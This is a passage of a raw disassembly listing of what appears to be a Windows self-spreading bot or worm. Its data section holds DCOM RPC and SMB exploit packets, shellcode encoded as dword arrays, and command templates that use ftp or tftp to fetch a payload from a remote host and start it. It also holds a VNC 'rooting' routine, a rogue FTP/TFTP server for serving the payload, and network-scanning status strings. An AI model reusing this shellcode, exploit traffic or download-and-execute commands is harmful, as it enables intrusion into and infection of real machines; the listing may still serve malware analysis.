'SetFilePointer',0 align 10h db 94h ; db 3, 57h, 69h aDechartomultib db 'deCharToMultiByte',0 dw 244h aLcmapstringa db 'LCMapStringA',0 align 2 dw 245h aLcmapstringw db 'LCMapStringW',0 align 2 dw 104h aGetcpinfo db 'GetCPInfo',0 dw 0FDh aGetacp db 'GetACP',0 align 4 db 93h ; db 1, 47h, 65h aToemcp db 'tOEMCP',0 align 4 db 6Eh ; n db 3, 55h, 6Eh aHandledexcepti db 'handledExceptionFilter',0 align 4 db 0F6h ; align 2 aFreeenvironmen db 'FreeEnvironmentStringsA',0 dw 0F7h aFreeenvironm_0 db 'FreeEnvironmentStringsW',0 db 55h ; U db 1, 47h, 65h aTenvironmentst db 'tEnvironmentStrings',0 db 57h ; W db 1, 47h, 65h aTenvironment_0 db 'tEnvironmentStringsW',0 align 2 dw 34Ah aSetunhandledex db 'SetUnhandledExceptionFilter',0 db 33h ; 3 db 2, 49h, 73h aBadreadptr db 'BadReadPtr',0 align 4 db 30h ; 0 db 2, 49h, 73h aBadcodeptr db 'BadCodePtr',0 align 4 db 0BAh ; db 1, 47h, 65h aTstringtypea db 'tStringTypeA',0 align 2 dw 1BDh aGetstringtypew db 'GetStringTypeW',0 align 4 db 37h ; 7 db 3, 53h, 65h aTstdhandle_0 db 'tStdHandle',0 align 4 aU db '',0 aFlushfilebuffe db 'FlushFileBuffers',0 align 10h db 10h db 3, 53h, 65h aTendoffile db 'tEndOfFile',0 align 10h db ':',0 aComparestringa db 'CompareStringA',0 align 2 db ';',0 aComparestringw db 'CompareStringW',0 align 4 db 13h db 3, 53h, 65h aTenvironmentva db 'tEnvironmentVariableA',0 aKernel32_dll db 'KERNEL32.dll',0 align 100h _rdata ends ; Section 3. (virtual address 0001E000) ; Virtual size : 00053914 ( 342292.) ; Section size in file : 00053914 ( 342292.) ; Offset to raw data for section: 0001C000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _data segment para public 'DATA' use32 assume cs:_data ;org 41E000h dword_41E000 dd 0 dd offset sub_402C60 dword_41E008 dd 0 dword_41E00C dd 0 dd offset ___onexitinit dd offset ___initmbctable dd offset ___initstdio dd offset sub_418A65 dword_41E020 dd 0 dword_41E024 dd 0 dd offset ___endstdio dword_41E02C dd 0 dword_41E030 dd 0 dd offset sub_418A76 dword_41E038 dd 2 dup(0) dword_41E040 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; sub_4016C0+352o dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_41E08C dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 ; DATA XREF: sub_4011CD+24Do dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dword_41E3F0 dd 20h, 0 dd 20h, 5C005Ch, 0 off_41E404 dd offset dword_43005C ; DATA XREF: sub_4011CD+2DCo a12345611111111: unicode 0, <$\123456111111111111111.doc>,0 dd 0 dword_41E444 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) aFxnbfxfxnbfxfx: ; DATA XREF: sub_4011CD+65o ; sub_4011CD+125o unicode 0, <FXNBFXFXNBFXFXFXFX> dw 0FFFFh dw 0FFFFh dd 2 dup(7FFDE0CCh), 0 aRrrrrrrrrrrrrr db '' db '' db '',0 dword_41E554 dd 10016C6h ; sub_4011CD+234o dword_41E558 dd 100139Dh ; sub_4011CD+21Co aIpc: ; DATA XREF: sub_401000+Bo unicode 0, <\IPC$>,0 asc_41E568: ; DATA XREF: sub_401000+19o unicode 0, <\\>,0 align 10h aIpc_0: ; DATA XREF: sub_40110C+Bo unicode 0, <\IPC$>,0 asc_41E57C: ; DATA XREF: sub_40110C+19o unicode 0, <\\>,0 align 4 ; char aSPipeEpmapper[] aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_4016C0+3Do align 4 aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_401EC3+CAo align 4 dword_41E5A4 dd 10FF8h, 0 dword_41E5AC dd 10FF8h dword_41E5B0 dd 7FFDF020h, 0 dword_41E5B8 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 aLanman1_0 db 'LANMAN1.0',0 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 aLm1_2x002 db 'LM1.2X002',0 dw 4C02h aAnman2_1 db 'ANMAN2.1',0 db 2, 4Eh, 54h aLm0_12 db ' LM 0.12',0 align 10h dword_41E640 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_41E670 dd 0 dd 800000D4h, 0 ; char buf[] buf db '',0 ; DATA XREF: sub_4025FE+Ao dw 4400h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 align 8 byte_41E6C8 db 41h ; DATA XREF: sub_4026C9+140r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 4 aSvwfbA db 'SVWf',0 ; DATA XREF: .text:00402A37o aIcsa db '',0 db 2 dup(0), 0FFh dd 12096836h, 0F7E863D6h, 89000000h, 0A2E80846h, 0FF000000h dd 6B680476h, 0E8CA2BD0h, 0E2h, 0E80C4689h, 3Fh, 680476FFh dd 4C0297FAh, 0CDE8h, 68DB3100h, 410h, 89D0FF53h, 768B56C3h dd 0B9C78910h, 410h, 315EA4F3h, 505050C0h, 0FF505053h dd 468B0C56h, 0C4816608h, 5E5F0080h, 60E0FF5Bh, 23E8h dd 24448B00h, 7C588D0Ch, 53C4383h, 284381h, 81000010h dd 0F0002863h, 48BFFFFh, 14C48324h, 0C3C03150h, 0FF64D231h dd 22896432h, 90B8DB31h, 31429042h, 8902B1C9h, 74AFF3DFh dd 0F3EB4303h, 64107E89h, 6158028Fh, 20BF60C3h, 8B7FFDF0h dd 8468B1Fh, 7F8B0789h, 78C781F8h, 89000001h, 741939F9h dd 0EB098B04h, 39FA89F8h, 574045Ah, 0EB04528Bh, 891189F6h dd 43C6044Ah, 0C36101FDh, 0FDF00CA1h, 1C408B7Fh, 8908588Bh dd 8B008B1Eh, 46890840h, 8B60C304h, 8B28246Ch, 548B3C45h dd 0EA017805h, 8B184A8Bh, 0EB01205Ah, 8B4938E3h, 0EE018B34h dd 0C031FF31h, 0E038ACFCh, 0CFC10774h, 0EBC7010Dh, 247C3BF4h dd 8BE17524h, 0EB01245Ah, 4B0C8B66h, 11C5A8Bh, 8B048BEBh dd 4489E801h, 0C2611C24h, 0FEEB0008h, 0 dword_41E874 dd 0F254C481h, 0E8FCFFFFh, 46h, 8B3C458Bh, 178057Ch, 184F8BEFh ; DATA XREF: .text:004029CDo dd 1205F8Bh, 492EE3EBh, 18B348Bh, 99C031EEh, 74C084ACh dd 0DCAC107h, 0F4EBC201h, 424543Bh, 5F8BE375h, 66EB0124h dd 8B4B0C8Bh, 0EB011C5Fh, 18B1C8Bh, 245C89EBh, 0C031C304h dd 30408B64h, 0F78C085h, 8B0C408Bh, 8BAD1C70h, 0BE90868h dd 8B000000h, 7C053440h, 8B000000h, 315F3C68h, 0EB5660F6h dd 0CEEF680Dh, 986860E0h, 570E8AFEh, 0EEE8E7FFh, 0FFFFFFh dword_41E904 dd 23h ; char Str[] Str dd 909006EBh, 90909090h, 0 ; DATA XREF: sub_401EC3+105o ; char aCccc[] aCccc db 'CCCC',0 ; DATA XREF: sub_401EC3+181o align 4 dword_41E91C dd 3 ; char dword_41E920[] dword_41E920 dd 0A1h ; char dword_41E924[] dword_41E924 dd 30h ; char dword_41E928[] dword_41E928 dd 62B0606h, 2050501h, 0A0h; char dword_41E934[] dword_41E934 dd 60h aCmdKEchoOpenSD db 'cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: .text:004029FBo db 'echo quit >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0 aSS_ db '%s// %s.',0 ; DATA XREF: .text:00402C12o align 4 aCmd db 'cmd',0 ; DATA XREF: .text:loc_403ABEo ; .text:00403AD1r aExit db 'exit',0 align 10h word_41E9C0 dw 4 ; DATA XREF: sub_403564+8r align 4 word_41E9C4 dw 1 ; DATA XREF: sub_403564+12r align 4 aRfb003_008 db 'RFB 003.008',0Ah,0 ; DATA XREF: .text:004037BBo align 4 dword_41E9D8 dd 201h word_41E9DC dw 1 ; DATA XREF: .text:004037E2r align 10h word_41E9E0 dw 1 ; DATA XREF: .text:004037EFr align 4 dword_41E9E4 dd 0EBFFh dword_41E9E8 dd 51FFh dword_41E9EC dd 0DFFh word_41E9F0 dw 72h ; DATA XREF: .text:00403820r align 4 aTryingToRootSD db 'Trying to root %s:%d.',0 ; DATA XREF: .text:00403A04o align 4 aC db '%c',0 ; DATA XREF: .text:00403AD9o align 10h aCmdCTftpISGetS db 'cmd /c tftp -i %s GET %s &start %s &exit',0 ; DATA XREF: .text:00403B4Eo align 4 aC_0 db '%c',0 ; DATA XREF: .text:00403B8Do align 10h ; char a220Stnyftpd0wn[] a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_403C1E+31Fo align 4 ; char aSS_1[] aSS_1 db '%s %s',0 ; DATA XREF: sub_403C1E+40Ao align 10h ; char Str2[] Str2 db 'USER',0 ; DATA XREF: sub_403C1E+41Eo align 4 ; char a331PasswordReq[] a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_403C1E+439o align 10h ; char aPass[] aPass db 'PASS',0 ; DATA XREF: sub_403C1E:loc_40406Do align 4 ; char a230UserLoggedI[] a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_403C1E+46Ao align 10h ; char aSyst[] aSyst db 'SYST',0 ; DATA XREF: sub_403C1E:loc_40409Eo align 4 ; char a215Stnyftpd[] a215Stnyftpd db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_403C1E+49Bo align 4 ; char aRest[] aRest db 'REST',0 ; DATA XREF: sub_403C1E:loc_4040CFo align 10h ; char a350Restarting_[] a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_403C1E+4CCo align 4 ; char off_41EAD4[] off_41EAD4 dd offset dword_445750 ; DATA XREF: sub_403C1E:loc_404100o ; char a257IsCurrentDi[] a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_403C1E+4FDo align 4 ; char aType[] aType db 'TYPE',0 ; DATA XREF: sub_403C1E:loc_404131o align 10h ; char aA[] aA: ; DATA XREF: sub_403C1E+52Ao unicode 0, <A>,0 ; char a200TypeSetToA_[] a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_403C1E+545o ; char aType_0[] aType_0 db 'TYPE',0 ; DATA XREF: sub_403C1E:loc_404179o align 10h ; char aI[] aI: ; DATA XREF: sub_403C1E+572o unicode 0, <I>,0 ; char a200TypeSetToI_[] a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_403C1E+58Do ; char aPasv[] aPasv db 'PASV',0 ; DATA XREF: sub_403C1E:loc_4041C1o align 10h a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 ; DATA XREF: sub_403C1E+5BDo align 4 ; char aList[] aList db 'LIST',0 ; DATA XREF: sub_403C1E:loc_404212o align 4 a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_403C1E+60Eo align 4 ; char aPort[] aPort db 'PORT',0 ; DATA XREF: sub_403C1E:loc_404264o align 4 ; char aS[] aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_403C1E+68Bo db ']',0 ; char aXX[] aXX db '%x%x',0Ah,0 ; DATA XREF: sub_403C1E+6E4o align 4 ; char aS_S_S_S[] aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_403C1E+72Do ; char a200PortCommand[] a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_403C1E+745o align 10h ; char aRetr[] aRetr db 'RETR',0 ; DATA XREF: sub_403C1E:loc_404379o align 4 ; char a150OpeningBina[] a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 ; DATA XREF: sub_403C1E+77Ao align 4 ; char a226TransferC_0[] a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_403C1E+7B2o ; char aFtpFileTransfe[] aFtpFileTransfe db 'FTP File transfer complete: %s',0 ; DATA XREF: sub_403C1E+7CAo align 4 ; char a425CanTOpenDat[] a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0 ; DATA XREF: sub_403C1E+815o align 10h ; char aQuit[] aQuit db 'QUIT',0 ; DATA XREF: sub_403C1E:loc_404446o align 4 ; char a221GoodbyeHapp[] a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_403C1E+843o ; char Mode[] Mode db 'rb',0 ; DATA XREF: sub_404515+32o align 4 aOctet db 'octet',0 ; DATA XREF: StartAddress+Bo align 10h ; char aTftpdErrorSock[] aTftpdErrorSock db '-TFTPD- Error: socket() failed, returned: <%d>.',0 ; DATA XREF: StartAddress+80o ; char aRb_0[] aRb_0 db 'rb',0 ; DATA XREF: StartAddress:loc_4047F5o align 4 ; char aTftpdFailedToO[] aTftpdFailedToO db '-TFTPD- Failed to open file: %s.',0 ; DATA XREF: StartAddress+19Do align 4 dword_41ED08 dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh ; DATA XREF: StartAddress+412o ; char aTftpdFileNotFo[] aTftpdFileNotFo db '-TFTPD- File not found: %s (%s).',0 ; DATA XREF: StartAddress+431o align 10h ; char aTftpFileTransf[] aTftpFileTransf db 'TFTP File transfer complete: %s',0 ; DATA XREF: StartAddress+638o dword_41ED60 dd 4000500h, 7868746Bh, 2 dup(0)aDcom135_0 db 'dcom135',0 ; DATA XREF: sub_405759+202o ; sub_40ABFE+2A53o ... db 2 dup(0) aDcom135 db 'Dcom135',0 ; DATA XREF: .text:00402C0Co ; sub_404D97+7Eo align 4 dd 5 dup(0) dword_41ED98 dd 87h ; sub_40ABFE+2A32r ... off_41ED9C dd offset sub_4016C0 ; DATA XREF: sub_405759+29Fr dword_41EDA0 dd 0 ; .text:00402C51w ... dword_41EDA4 dd 1 dd 0 aAsn1smbnt db 'asn1smbnt',0 aAsn1smbnt_0 db 'asn1smbnt',0 dd 5 dup(0) dd 8Bh, 4029A5h, 0 dd 2 dup(1), 72636E76h, 65746F6Fh, 4E560072h, 6F6F5243h dd 726574h, 5 dup(0) dd 170Ch, 4037B0h, 0 dd 1, 10h dup(0) ; char aScanExploitSta[] aScanExploitSta db '[SCAN]: Exploit Statistics:',0 ; DATA XREF: sub_404D97+10o ; char aSD[] aSD db ' %s: %d,',0 ; DATA XREF: sub_404D97+84o align 4 ; char aTotalD[] aTotalD db ' Total: %d',0 ; DATA XREF: sub_404D97+BEo align 4 ; char aScanCurrentIpS[] aScanCurrentIpS db '[SCAN]: Current IP: %s.',0 ; DATA XREF: sub_404EAD+32o ; char aScanScanNotAct[] aScanScanNotAct db '[SCAN]: Scan not active.',0 ; DATA XREF: sub_404EAD:loc_404EF5o align 4 ; char aTftpdServerSta[] aTftpdServerSta db '[TFTPD]: Server started on IP: %s:%d, File: %s, Request: %s.',0 ; DATA XREF: sub_404F31+F4o align 4 ; char aTftpdFailedToS[] aTftpdFailedToS db '[TFTPD]: Failed to start server, error: <%d>.',0 ; DATA XREF: sub_404F31+17Fo align 4 ; char aFtpServerStart[] aFtpServerStart db '[FTP]: Server started on Port: %d, File: %s, Request: %s.',0 ; DATA XREF: sub_404F31+275o align 4 ; char aFtpFailedToSta[] aFtpFailedToSta db '[FTP]: Failed to start server, error: <%d>.',0 ; DATA XREF: sub_404F31+300o ; char aD_D_D_D[] aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_4052B5+3Bo aSocketOpenFail db 'socket open failed',0 ; DATA XREF: .text:0040562Bo align 10h aSendtoSocketFa db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: .text:0040567Do aRecvfromSocket db 'recvfrom() socket failed',0 ; DATA XREF: .text:00405705o align 4 aSocketOpen_ db 'Socket open.',0 ; DATA XREF: .text:0040573Ao align 4 aSocketClosed_ db 'Socket closed.',0 ; DATA XREF: .text:loc_40574Ao align 4 ; char aScanIpSDScanTh[] aScanIpSDScanTh db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 ; DATA XREF: sub_405759+EBo ; char aScanIpSPortDIs[] aScanIpSPortDIs db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: sub_405759+161o align 4 ; char aScanFailedToIn[] aScanFailedToIn db '[SCAN]: Failed to initialize critical section.',0 ; DATA XREF: sub_405A2E+8Do align 4 ; char aScanSDScanThre[] aScanSDScanThre db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0 ; DATA XREF: sub_405A2E+127o ; char aScanFailedToSt[] aScanFailedToSt db '[SCAN]: Failed to start worker thread, error: <%d>.',0 ; DATA XREF: sub_405A2E+1B7o ; char aScanFinishedAt[] aScanFinishedAt db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0 ; DATA XREF: sub_405A2E+23Ao align 4 ; LPCSTR lpString2 lpString2 dd offset aAccwiz_exe ; DATA XREF: sub_405D52+1B2r ; "accwiz.exe" dd offset aActmovie_exe ; "actmovie.exe" dd offset aAhui_exe ; "ahui.exe" dd offset aAlg_exe ; "alg.exe" dd offset aAppend_exe ; "append.exe" dd offset aArp_exe ; "arp.exe" dd offset aAsr_fmt_exe ; "asr_fmt.exe" dd offset aAsr_ldm_exe ; "asr_ldm.exe" dd offset aAsr_pfu_exe ; "asr_pfu.exe" dd offset aAt_exe ; "at.exe" dd offset aAti2evxx_exe ; "ati2evxx.exe" dd offset aAti2mdxx_exe ; "Ati2mdxx.exe" dd offset aAtmadm_exe ; "atmadm.exe" dd offset aAttrib_exe ; "attrib.exe" dd offset aAuditusr_exe ; "auditusr.exe" dd offset aAutochk_exe ; "autochk.exe" dd offset aAutoconv_exe ; "autoconv.exe" dd offset aAutofmt_exe ; "autofmt.exe" dd offset aAutolfn_exe ; "autolfn.exe" dd offset aBlastcln_exe ; "blastcln.exe" dd offset aBootcfg_exe ; "bootcfg.exe" dd offset aBootok_exe ; "bootok.exe" dd offset aBootvrfy_exe ; "bootvrfy.exe" dd offset aCacls_exe ; "cacls.exe" dd offset aCalc_exe ; "calc.exe" dd offset aCharmap_exe ; "charmap.exe" dd offset aChcfg_exe ; "ChCfg.exe" dd offset aChkdsk_exe ; "chkdsk.exe" dd offset aChkntfs_exe ; "chkntfs.exe" dd offset aCidaemon_exe ; "cidaemon.exe" dd offset aCipher_exe ; "cipher.exe" dd offset aCisvc_exe ; "cisvc.exe" dd offset aCkcnv_exe ; "ckcnv.exe" dd offset aCleanmgr_exe ; "cleanmgr.exe" dd offset aCliconfg_exe ; "cliconfg.exe" dd offset aClipbrd_exe ; "clipbrd.exe" dd offset aClipsrv_exe ; "clipsrv.exe" dd offset aClspack_exe ; "clspack.exe" dd offset aCmd_exe ; "cmd.exe" dd offset aCmdl32_exe ; "cmdl32.exe" dd offset aCmmon32_exe ; "cmmon32.exe" dd offset aCmstp_exe ; "cmstp.exe" dd offset aComp_exe ; "comp.exe" dd offset aCompact_exe ; "compact.exe" dd offset aConime_exe ; "conime.exe" dd offset aControl_exe ; "control.exe" dd offset aConvert_exe ; "convert.exe" dd offset aCscript_exe ; "cscript.exe" dd offset aCsrss_exe ; "csrss.exe" dd offset aCtfmon_exe ; "ctfmon.exe" dd offset aDcomcnfg_exe ; "dcomcnfg.exe" dd offset aDdeshare_exe ; "ddeshare.exe" dd offset aDebug_exe ; "debug.exe" dd offset aDefrag_exe ; "defrag.exe" dd offset aDfrgfat_exe ; "dfrgfat.exe" dd offset aDfrgntfs_exe ; "dfrgntfs.exe" dd offset aDiantz_exe ; "diantz.exe" dd offset aDiskpart_exe ; "diskpart.exe" dd offset aDiskperf_exe ; "diskperf.exe" dd offset aDllhost_exe ; "dllhost.exe" dd offset aDllhst3g_exe ; "dllhst3g.exe" dd offset aDmadmin_exe ; "dmadmin.exe" dd offset aDmremote_exe ; "dmremote.exe" dd offset aDoskey_exe ; "doskey.exe" dd offset aDosx_exe ; "dosx.exe" dd offset aDplaysvr_exe ; "dplaysvr.exe" dd offset aDpnsvr_exe ; "dpnsvr.exe" dd offset aDpvsetup_exe ; "dpvsetup.exe" dd offset aDriverquery_ex ; "driverquery.exe" dd offset aDrwatson_exe ; "drwatson.exe" dd offset aDrwtsn32_exe ; "drwtsn32.exe" dd offset aDumprep_exe ; "dumprep.exe" dd offset aDvdplay_exe ; "dvdplay.exe" dd offset aDvdupgrd_exe ; "dvdupgrd.exe" dd offset aDwwin_exe ; "dwwin.exe" dd offset aDxdiag_exe ; "dxdiag.exe" dd offset aEdlin_exe ; "edlin.exe" dd offset aEsentutl_exe ; "esentutl.exe" dd offset aEudcedit_exe ; "eudcedit.exe" dd offset aEventcreate_ex ; "eventcreate.exe" dd offset aEventtriggers_ ; "eventtriggers.exe" dd offset aEventvwr_exe ; "eventvwr.exe" dd offset aExe2bin_exe ; "exe2bin.exe" dd offset aExpand_exe ; "expand.exe" dd offset aExtrac32_exe ; "extrac32.exe" dd offset aFastopen_exe ; "fastopen.exe" dd offset aFc_exe ; "fc.exe" dd offset aFind_exe ; "find.exe" dd offset aFindstr_exe ; "findstr.exe" dd offset aFinger_exe ; "finger.exe" dd offset aFixmapi_exe ; "fixmapi.exe" dd offset aFltmc_exe ; "fltMc.exe" dd offset aFontview_exe ; "fontview.exe" dd offset aForcedos_exe ; "forcedos.exe" dd offset aFreecell_exe ; "freecell.exe" dd offset aFsquirt_exe ; "fsquirt.exe" dd offset aFsutil_exe ; "fsutil.exe" dd offset aFtp_exe ; "ftp.exe" dd offset aGb2312_uce ; "gb2312.uce" dd offset aGdi_exe ; "gdi.exe" dd offset aGetmac_exe ; "getmac.exe" dd offset aGpresult_exe ; "gpresult.exe" dd offset aGpupdate_exe ; "gpupdate.exe" dd offset aGrpconv_exe ; "grpconv.exe" dd offset aHelp_exe ; "help.exe" dd offset aHostname_exe ; "hostname.exe" dd offset aIe4uinit_exe ; "ie4uinit.exe" dd offset aIexpress_exe ; "iexpress.exe" dd offset aImapi_exe ; "imapi.exe" dd offset aIpconfig_exe ; "ipconfig.exe" dd offset aIpsec6_exe ; "ipsec6.exe" dd offset aIpv6_exe ; "ipv6.exe" dd offset aIpxroute_exe ; "ipxroute.exe" dd offset aJava_exe ; "java.exe" dd offset aJavaw_exe ; "javaw.exe" dd offset aJavaws_exe ; "javaws.exe" dd offset aJdbgmgr_exe ; "jdbgmgr.exe" dd offset aJview_exe ; "jview.exe" dd offset aKrnl386_exe ; "krnl386.exe" dd offset aLabel_exe ; "label.exe" dd offset aLights_exe ; "lights.exe" dd offset aLnkstub_exe ; "lnkstub.exe" dd offset aLocator_exe ; "locator.exe" dd offset aLodctr_exe ; "lodctr.exe" dd offset aLogagent_exe ; "logagent.exe" dd offset aLogman_exe ; "logman.exe" dd offset aLogoff_exe ; "logoff.exe" dd offset aLogonui_exe ; "logonui.exe" dd offset aLpq_exe ; "lpq.exe" dd offset aLpr_exe ; "lpr.exe" dd offset aLsass_exe ; "lsass.exe" dd offset aMagnify_exe ; "magnify.exe" dd offset aMakecab_exe ; "makecab.exe" dd offset aMem_exe ; "mem.exe" dd offset aMigpwd_exe ; "migpwd.exe" dd offset aMmc_exe ; "mmc.exe" dd offset aMnmsrvc_exe ; "mnmsrvc.exe" dd offset aMobsync_exe ; "mobsync.exe" dd offset aMountvol_exe ; "mountvol.exe" dd offset aMplay32_exe ; "mplay32.exe" dd offset aMpnotify_exe ; "mpnotify.exe" dd offset aMqbkup_exe ; "mqbkup.exe" dd offset aMqsvc_exe ; "mqsvc.exe" dd offset aMqtgsvc_exe ; "mqtgsvc.exe" dd offset aMrinfo_exe ; "mrinfo.exe" dd offset aMrt_exe ; "MRT.exe" dd offset aMscdexnt_exe ; "mscdexnt.exe" dd offset aMsdtc_exe ; "msdtc.exe" dd offset aMsg_exe ; "msg.exe" dd offset aMshearts_exe ; "mshearts.exe" dd offset aMshta_exe ; "mshta.exe" dd offset aMsiexec_exe ; "msiexec.exe" dd offset aMspaint_exe ; "mspaint.exe" dd offset aMsswchx_exe ; "msswchx.exe" dd offset aMstinit_exe ; "mstinit.exe" dd offset aMstsc_exe ; "mstsc.exe" dd offset aNarrator_exe ; "narrator.exe" dd offset aNbtstat_exe ; "nbtstat.exe" dd offset aNddeapir_exe ; "nddeapir.exe" dd offset aNerocheck_exe ; "NeroCheck.exe" dd offset aNet_exe ; "net.exe" dd offset aNet1_exe ; "net1.exe" dd offset aNetdde_exe ; "netdde.exe" dd offset aNetsetup_exe ; "netsetup.exe" dd offset aNetsh_exe ; "netsh.exe" dd offset aNetstat_exe ; "netstat.exe" dd offset aNlsfunc_exe ; "nlsfunc.exe" dd offset aNotepad_exe ; "notepad.exe" dd offset aNslookup_exe ; "nslookup.exe" dd offset aNtbackup_exe ; "ntbackup.exe" dd offset aNtkrnlpa_exe ; "ntkrnlpa.exe" dd offset aNtoskrnl_exe ; "ntoskrnl.exe" dd offset aNtsd_exe ; "ntsd.exe" dd offset aNtvdm_exe ; "ntvdm.exe" dd offset aNw16_exe ; "nw16.exe" dd offset aNwscript_exe ; "nwscript.exe" dd offset aOdbcad32_exe ; "odbcad32.exe" dd offset aOdbcconf_exe ; "odbcconf.exe" dd offset aOpenfiles_exe ; "openfiles.exe" dd offset aOsk_exe ; "osk.exe" dd offset aOsuninst_exe ; "osuninst.exe" dd offset aPackager_exe ; "packager.exe" dd offset aPathping_exe ; "pathping.exe" dd offset aPentnt_exe ; "pentnt.exe" dd offset aPerfmon_exe ; "perfmon.exe" dd offset aPing_exe ; "ping.exe" dd offset aPing6_exe ; "ping6.exe" dd offset aPowercfg_exe ; "powercfg.exe" dd offset aPrint_exe ; "print.exe" dd offset aProgman_exe ; "progman.exe" dd offset aProquota_exe ; "proquota.exe" dd offset aProxycfg_exe ; "proxycfg.exe" dd offset aQappsrv_exe ; "qappsrv.exe" dd offset aQprocess_exe ; "qprocess.exe" dd offset aQwinsta_exe ; "qwinsta.exe" dd offset aRasautou_exe ; "rasautou.exe" dd offset aRasdial_exe ; "rasdial.exe" dd offset aRasphone_exe ; "rasphone.exe" dd offset aRcimlby_exe ; "rcimlby.exe" dd offset aRcp_exe ; "rcp.exe" dd offset aRdpclip_exe ; "rdpclip.exe" dd offset aRdsaddin_exe ; "rdsaddin.exe" dd offset aRdshost_exe ; "rdshost.exe" dd offset aRecover_exe ; "recover.exe" dd offset aRedir_exe ; "redir.exe" dd offset aReg_exe ; "reg.exe" dd offset aRegcladm_exe ; "REGCLADM.EXE" dd offset aRegedt32_exe ; "regedt32.exe" dd offset aRegini_exe ; "regini.exe" dd offset aRegsvr32_exe ; "regsvr32.exe" dd offset aRegwiz_exe ; "regwiz.exe" dd offset aRelog_exe ; "relog.exe" dd offset aReplace_exe ; "replace.exe" dd offset aReset_exe ; "reset.exe" dd offset aRexec_exe ; "rexec.exe" dd offset aRoute_exe ; "route.exe" dd offset aRoutemon_exe 